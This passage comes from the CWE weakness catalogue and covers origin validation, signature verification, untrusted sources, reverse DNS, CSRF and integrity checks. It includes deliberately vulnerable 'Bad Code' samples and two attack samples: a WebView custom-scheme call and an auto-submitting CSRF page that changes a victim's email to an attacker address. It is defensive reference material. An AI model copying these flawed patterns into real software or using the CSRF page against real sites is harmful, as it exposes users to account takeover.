**Objective-C Example:**

*Bad Code*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

**Javascript Example:**

*Attack*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

**Observed Examples**

Reference	Description
CVE-1999-1549	product does not sufficiently distinguish external HTML from internal, potentially dangerous HTML, allowing bypass using special strings in the page title. Overlaps special elements.
CVE-2000-1218	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
CVE-2001-1452	DNS server caches glue records received from non-delegated name servers
CVE-2003-0174	LDAP service does not verify if a particular attribute was set by the LDAP server
CVE-2003-0981	product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.
CVE-2005-0877	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
CVE-2005-2188	user ID obtained from untrusted source (URL)

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		284	Improper Access Control	699	499
ChildOf		345	Insufficient Verification of Data Authenticity	1000	600
ChildOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication	<b>699</b>	<b>1000</b>
RequiredBy		352	Cross-Site Request Forgery (CSRF)	<b>888</b>	1372
RequiredBy		384	Session Fixation	1000	611
PeerOf		451	User Interface (UI) Misrepresentation of Critical Information	1000	663
				1000	763

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Origin Validation Error

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials	
59	Session Credential Falsification through Prediction	
60	Reusing Session IDs (aka Session Replay)	
75	Manipulating Writeable Configuration Files	
76	Manipulating Input to File System Calls	
89	Pharming	
111	JSON Hijacking (aka JavaScript Hijacking)	
141	Cache Poisoning	
142	DNS Cache Poisoning	
384	Application API Message Manipulation via Man-in-the-Middle	
385	Transaction or Event Tampering via Application API Manipulation	
386	Application API Navigation Remapping	
387	Navigation Remapping To Propagate Malicious Content	
388	Application API Button Hijacking	
389	Content Spoofing Via Application API Manipulation	
510	SaaS User Request Forgery	

### References

Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995-08-01. <  
<http://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf>>.

### Maintenance Notes

This entry has some significant overlap with other CWE entries and may need some clarification. See terminology notes.

## CWE-347: Improper Verification of Cryptographic Signature

Weakness ID: 347 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not verify, or incorrectly verifies, the cryptographic signature for data.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

**Access Control**  
**Integrity**  
**Confidentiality**  
**Gain privileges / assume identity**  
**Modify application data**  
**Execute unauthorized code or commands**

An attacker could gain access to sensitive data and possibly execute unauthorized code.

### Demonstrative Examples

In the following code, a JarFile object is created from a downloaded file.

#### Java Example:

*Bad Code*

```
File f = new File(downloadedFilePath);
JarFile jf = new JarFile(f);
```

The JAR file that was potentially downloaded from an untrusted source is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead.

### Observed Examples

Reference	Description
CVE-2002-1706	Accepts a configuration file without a Message Integrity Check (MIC) signature.
CVE-2002-1796	Does not properly verify signatures for "trusted" entities.
CVE-2005-2181	Insufficient verification allows spoofing.
CVE-2005-2182	Insufficient verification allows spoofing.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		345	Insufficient Verification of Data Authenticity	<input checked="" type="checkbox"/>	699 1000 600
ChildOf		859	CERT Java Secure Coding Section 14 - Platform Security (SEC)		844 1297
ChildOf		959	SFP Secondary Cluster: Weak Cryptography		888 1375
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section		884 1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Improperly Verified Signature
CERT Java Secure Coding	SEC06-J	Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
463	Padding Oracle Crypto Attack	

## CWE-348: Use of Less Trusted Source

Weakness ID: 348 (Weakness Base)

Status: Draft

### Description

#### Summary

The software has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences



**Access Control****Bypass protection mechanism****Gain privileges / assume identity**

An attacker could utilize the untrusted data source to bypass protection mechanisms and gain access to sensitive data.

**Demonstrative Examples**

This code attempts to limit the access of a page to certain IP Addresses. It checks the 'HTTP\_X\_FORWARDED\_FOR' header in case an authorized user is sending the request through a proxy.

**PHP Example:***Bad Code*

```
$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
    $requestingIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $requestingIP = $_SERVER['REMOTE_ADDR'];
}
if (in_array($requestingIP, $ipWhitelist)) {
    generatePage();
    return;
} else {
    echo "You are not authorized to view this page";
    return;
}
```

The 'HTTP\_X\_FORWARDED\_FOR' header can be user controlled and so should never be trusted. An attacker can falsify the header to gain access to the page.

This fixed code only trusts the 'REMOTE\_ADDR' header and so avoids the issue:

**PHP Example:***Good Code*

```
$requestingIP = '0.0.0.0';
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
    echo "This application cannot be accessed through a proxy.";
    return;
} else {
    $requestingIP = $_SERVER['REMOTE_ADDR'];
}
...
```

Be aware that 'REMOTE\_ADDR' can still be spoofed. This may seem useless because the server will send the response to the fake address and not the attacker, but this may still be enough to conduct an attack. For example, if the generatePage() function in this code is resource intensive, an attacker could flood the server with fake requests using an authorized IP and consume significant resources. This could be a serious DoS attack even though the attacker would never see the page's sensitive content.

**Observed Examples**

Reference	Description
BID:15326	Similar to CVE-2004-1950
CVE-2001-0860	Product uses IP address provided by a client, instead of obtaining it from the packet headers, allowing easier spoofing.
CVE-2001-0908	Product logs IP address specified by the client instead of obtaining it from the packet headers, allowing information hiding.
CVE-2004-1950	Web product uses the IP address in the X-Forwarded-For HTTP header instead of a server variable that uses the connecting IP address, allowing filter bypass.
CVE-2006-1126	PHP application uses IP address from X-Forwarded-For HTTP header, instead of REMOTE_ADDR.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		345	Insufficient Verification of Data Authenticity	<b>699</b> <b>1000</b>	600

Nature	Type	ID	Name		Page
ChildOf		975	SFP Secondary Cluster: Architecture		888 1382
MemberOf		884	CWE Cross-section		884 1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Use of Less Trusted Source

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
63	Simple Script Injection	
73	User-Controlled Filename	
76	Manipulating Input to File System Calls	
85	AJAX Fingerprinting	
86	Embedding Script (XSS) in HTTP Headers	
141	Cache Poisoning	
142	DNS Cache Poisoning	

## CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data

Weakness ID: 349 (Weakness Base)

Status: Draft

### Description

#### Summary

The software, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Integrity

#### Bypass protection mechanism

#### Modify application data

An attacker could package untrusted data with trusted data to bypass protection mechanisms to gain access to and possibly modify sensitive data.

### Observed Examples

Reference	Description
CVE-2002-0018	Does not verify that trusted entity is authoritative for all entities in its response.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		345	Insufficient Verification of Data Authenticity		699 600
ChildOf		860	CERT Java Secure Coding Section 15 - Runtime Environment (ENV)		844 1298
ChildOf		977	SFP Secondary Cluster: Design		888 1382
MemberOf		884	CWE Cross-section		884 1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Untrusted Data Appended with Trusted Data

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	ENV01-J	Place all security-sensitive code in a single JAR and sign and seal it

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
75	Manipulating Writeable Configuration Files	
141	Cache Poisoning	
142	DNS Cache Poisoning	

## CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

Weakness ID: 350 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

#### Extended Description

Since DNS names can be easily spoofed or misreported, and it may be difficult for the software to detect if a trusted DNS server has been compromised, DNS names do not constitute a valid authentication mechanism.

When the software performs a reverse DNS resolution for an IP address, if an attacker controls the server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.

Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Access Control

##### Gain privileges / assume identity

##### Bypass protection mechanism

Malicious users can fake authentication information by providing false DNS information.

#### Demonstrative Examples

##### Example 1:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host.

##### C Example:

Bad Code

```
struct hostent *hp; struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strcmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

**Java Example:**

Bad Code

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

**C# Example:**

Bad Code

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPEndPoint hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

If an attacker can poison the DNS cache, they can gain trusted status.

**Example 2:**

In these examples, a connection is established if a request is made by a trusted host.

**C/C++ Example:**

Bad Code

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    cliilen = sizeof(cli);
    h=gethostbyname(inet_ntoa(cliAddr.sin_addr));
    if (h->h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &cliilen);
}
```

**Java Example:**

Bad Code

```
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    if ((rp.getHostName()!=...) & (in!=...)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port);
        outSock.send(sp);
    }
}
```

These examples check if a request is from a trusted host before responding to a request, but the code only verifies the hostname as stored in the request packet. An attacker can spoof the hostname, thus impersonating a trusted client.

**Observed Examples**

Reference	Description
CVE-2000-1221	Authentication bypass using spoofed reverse-resolved DNS hostnames.
CVE-2001-1155	Filter does not properly check the result of a reverse DNS lookup, which could allow remote attackers to bypass intended access restrictions via DNS spoofing.
CVE-2001-1488	Does not do double-reverse lookup to prevent DNS spoofing.
CVE-2001-1500	Does not verify reverse-resolved hostnames in DNS.
CVE-2002-0804	Authentication bypass using spoofed reverse-resolved DNS hostnames.
CVE-2003-0981	Product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.
CVE-2004-0892	Reverse DNS lookup used to spoof trusted content in intermediary.

**Potential Mitigations**

## Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

## Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

## Relationships

Nature	Type	ID	Name	Count	Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	699	418
ChildOf		290	Authentication Bypass by Spoofing	<b>699</b> <b>1000</b>	514
ChildOf		807	Reliance on Untrusted Inputs in a Security Decision	1000	1239
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1000	1349
CanPrecede		923	Improper Restriction of Communication Channel to Intended Endpoints	1000	1349
ChildOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication	<b>888</b>	1372

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Improperly Trusted Reverse DNS
CLASP		Trusting self-reported DNS name
Software Fault Patterns	SFP29	Faulty endpoint authentication

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
63	Simple Script Injection	
73	User-Controlled Filename	
142	DNS Cache Poisoning	

## References

- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 15: Not Updating Easily." Page 231. McGraw-Hill. 2010.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 24: Trusting Network Name Resolution." Page 361. McGraw-Hill. 2010.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 16, "DNS Spoofing", Page 1002.. 1st Edition. Addison Wesley. 2006.

## Maintenance Notes

CWE-350, CWE-247, and CWE-292 were merged into CWE-350 in CWE 2.5. CWE-247 was originally derived from Seven Pernicious Kingdoms, CWE-350 from PLOVER, and CWE-292 from CLASP. All taxonomies focused closely on the use of reverse DNS for authentication of incoming requests.

# CWE-351: Insufficient Type Distinction

Weakness ID: 351 (Weakness Base)

Status: Draft

## Description

### Summary

The software does not properly distinguish between different types of elements in a way that leads to insecure behavior.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages





- All

## Common Consequences

**Other****Other****Observed Examples**

Reference	Description
CVE-2005-2260	Browser user interface does not distinguish between user-initiated and synthetic events.
CVE-2005-2801	Product does not compare all required data in two separate elements, causing it to think they are the same, leading to loss of ACLs. Similar to Same Name error.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		345	Insufficient Verification of Data Authenticity	<b>699</b>	600
PeerOf		436	Interpretation Conflict	<b>1000</b>	749
ChildOf		993	SFP Secondary Cluster: Incorrect Input Handling	<b>888</b>	1391
PeerOf		434	Unrestricted Upload of File with Dangerous Type	<i>1000</i>	<i>742</i>

**Relationship Notes**

Overlaps others, e.g. Multiple Interpretation Errors.

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insufficient Type Distinction

## CWE-352: Cross-Site Request Forgery (CSRF)

Compound Element ID: 352 (Compound Element Variant: Composite)

Status: Draft

**Description****Summary**

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

**Extended Description**

When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.

**Alternate Terms****Session Riding****Cross Site Reference Forgery****XSRF****Time of Introduction**

- Architecture and Design

**Applicable Platforms****Languages**

- Language-independent

**Technology Classes**

- Web-Server

**Common Consequences**

**Confidentiality****Integrity****Availability****Non-Repudiation****Access Control****Gain privileges / assume identity****Bypass protection mechanism****Read application data****Modify application data****DoS: crash / exit / restart**

The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.

**Likelihood of Exploit**

Medium to High

**Detection Methods****Manual Analysis****High**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.

Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Automated Static Analysis****Limited**

CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

**Automated Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies



**Dynamic Analysis with automated results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

**Dynamic Analysis with manual results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Fuzz Tester

Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

**Demonstrative Examples**

This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

**HTML Example:***Bad Code*

```
<form action="/url/profile.php" method="post">
<input type="text" name="firstname"/>
<input type="text" name="lastname"/>
<br/>
<input type="text" name="email"/>
<input type="submit" name="submit" value="Update"/>
</form>
```

profile.php contains the following code.

**PHP Example:***Bad Code*

```
// initiate the session in order to validate sessions
session_start();
//if the session is registered to a valid user then allow update
if (! session_is_registered("username")) {
    echo "invalid session detected!";
    // Redirect user to login page
    [...]
    exit;
}
```

```
// The user session is valid, so process the request
// and update the information
update_profile();
function update_profile {
    // read in the data from $POST and send an update
    // to the database
    SendUpdateToDatabase($_SESSION['username'], $_POST['email']);
    [...]
    echo "Your profile has been successfully updated.";
}
```

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

#### HTML Example:

Attack

```
<SCRIPT>
function SendAttack () {
    form.email = "attacker@example.com";
    // send to profile.php
    form.submit();
}
</SCRIPT>
<BODY onload="javascript:SendAttack();">
<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>
```

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because `SendAttack()` is defined in the body's `onload` attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to `victim.example.com`, `profile.php` will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.

#### Observed Examples

Reference	Description
CVE-2004-1703	Add user accounts via a URL in an img tag
CVE-2004-1842	Gain administrative privileges via a URL in an img tag
CVE-2004-1967	Arbitrary code execution by specifying the code in a crafted img tag or URL
CVE-2004-1995	Add user accounts via a URL in an img tag
CVE-2005-1674	Perform actions as administrator via a URL or an img tag
CVE-2005-1947	Delete a victim's information via a URL or an img tag
CVE-2005-2059	Change another user's settings via a URL or an img tag
CVE-2009-3022	CMS allows modification of configuration via CSRF attack against the administrator
CVE-2009-3520	modify password for the administrator
CVE-2009-3759	web interface allows password changes or stopping a virtual machine via CSRF

#### Potential Mitigations

##### Architecture and Design

##### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard. [R.352.3]

Another example is the ESAPI Session Management control, which includes a component for CSRF. [R.352.9]

**Implementation**

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

**Architecture and Design**

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [R.352.5]

Note that this can be bypassed using XSS (CWE-79).

**Architecture and Design**

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Note that this can be bypassed using XSS (CWE-79).

**Architecture and Design**

Use the "double-submitted cookie" method as described by Felten and Zeller:

When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.

Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.

This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [R.352.4]

Note that this can probably be bypassed using XSS (CWE-79), or when using web technologies that enable the attacker to read raw headers from HTTP requests.

**Architecture and Design**

Do not use the GET method for any request that triggers a state change.

**Implementation**

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		345	Insufficient Verification of Data Authenticity	<b>699</b>	600
Requires		346	Origin Validation Error	<b>1000</b>	602
Requires		441	Unintended Proxy or Intermediary ('Confused Deputy')	1000	753
ChildOf		442	Web Problems	699	755
Requires		613	Insufficient Session Expiration	1000	960
Requires		642	External Control of Critical State Data	1000	993
ChildOf		716	OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)	<b>629</b>	1113
ChildOf		751	2009 Top 25 - Insecure Interaction Between Components	<b>750</b>	1142
ChildOf		801	2010 Top 25 - Insecure Interaction Between Components	<b>800</b>	1228
ChildOf		814	OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)	<b>809</b>	1247
ChildOf		864	2011 Top 25 - Insecure Interaction Between Components	<b>900</b>	1308
ChildOf		936	OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)	<b>928</b>	1361

Nature	Type	ID	Name	V	Page
PeerOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1000	131
MemberOf	V	635	Weaknesses Used by NVD	635	983
MemberOf	V	884	CWE Cross-section	884	1319

### Relationship Notes

This can be resultant from XSS, although XSS is not necessarily required.

### Research Gaps

This issue was under-reported in CVE until around 2008, when it began to gain prominence. It is likely to be present in most web applications.

### Theoretical Notes

The CSRF topology is multi-channel:

1. Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
2. Intermediary (as user) to server (as victim). The activation point is an internal channel.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-Site Request Forgery (CSRF)
OWASP Top Ten 2007	A5	Exact	Cross Site Request Forgery (CSRF)
WASC	9		Cross-site Request Forgery

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
62	Cross Site Request Forgery (aka Session Riding)	
111	JSON Hijacking (aka JavaScript Hijacking)	
462	Cross-Domain Search Timing	
467	Cross Site Identification	

### References

- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 37. McGraw-Hill. 2010.
- Peter W. "Cross-Site Request Forgeries (Re: The Dangers of Allowing Users to Post Images)". Bugtraq. < <http://marc.info/?l=bugtraq&m=99263135911884&w=2> >.
- OWASP. "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet". < [http://www.owasp.org/index.php/Cross-Site\\_Request\\_Forgery\\_\(CSRF\)\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet) >.
- Edward W. Felten and William Zeller. "Cross-Site Request Forgeries: Exploitation and Prevention". 2008-10-18. < <http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.147.1445> >.
- Robert Auger. "CSRF - The Cross-Site Request Forgery (CSRF/XSRF) FAQ". < <http://www.cgisecurity.com/articles/csrf-faq.shtml> >.
- "Cross-site request forgery". Wikipedia. 2008-12-22. < [http://en.wikipedia.org/wiki/Cross-site\\_request\\_forgery](http://en.wikipedia.org/wiki/Cross-site_request_forgery) >.
- Jason Lam. "Top 25 Series - Rank 4 - Cross Site Request Forgery". SANS Software Security Institute. 2010-03-03. < <http://software-security.sans.org/blog/2010/03/03/top-25-series-rank-4-cross-site-request-forgery> >.
- Jeff Atwood. "Preventing CSRF and XSRF Attacks". 2008-10-14. < <http://www.codinghorror.com/blog/2008/10/preventing-csrf-and-xsrf-attacks.html> >.
- [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

## CWE-353: Missing Support for Integrity Check

Weakness ID: 353 (Weakness Base)

Status: Draft

### Description

#### Summary

The software uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum.

### Extended Description

If integrity check values or "checksums" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission. The lack of checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Other

#### Other

Data that is parsed and used may be corrupted.

### Non-Repudiation

#### Other

#### Hide activities

#### Other

Without a checksum it is impossible to determine if any changes have been made to the data after it was sent.

### Likelihood of Exploit

Medium

### Demonstrative Examples

In this example, a request packet is received, and privileged information is sent to the requester:

*Bad Code*

```
while(true) {
    DatagramPacket rp = new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    out = secret.getBytes();
    DatagramPacket sp =new DatagramPacket(out, out.length, IPAddress, port);
    outSock.send(sp);
}
```

The response containing secret data has no integrity check associated with it, allowing an attacker to alter the message without detection.

### Potential Mitigations

#### Architecture and Design

Add an appropriately sized checksum to the protocol, ensuring that data received may be simply validated before it is parsed and used.

#### Implementation

Ensure that the checksums present in the protocol design are properly implemented and added to each message before it is sent.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		345	Insufficient Verification of Data Authenticity	<input checked="" type="checkbox"/>	600
				699	600

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
				<b>1000</b>	
PeerOf	<b>B</b>	354	Improper Validation of Integrity Check Value	1000	618
ChildOf	<b>C</b>	957	SFP Secondary Cluster: Protocol Error	<b>888</b>	1374
MemberOf	<b>V</b>	884	<i>CWE Cross-section</i>	<b>884</b>	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to add integrity check value

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
13	Subverting Environment Variable Values	
14	Client-side Injection-induced Buffer Overflow	
39	Manipulating Opaque Client-based Data Tokens	
74	Manipulating User State	
75	Manipulating Writeable Configuration Files	

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 15: Not Updating Easily." Page 231. McGraw-Hill. 2010.

## CWE-354: Improper Validation of Integrity Check Value

Weakness ID: 354 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

#### Extended Description

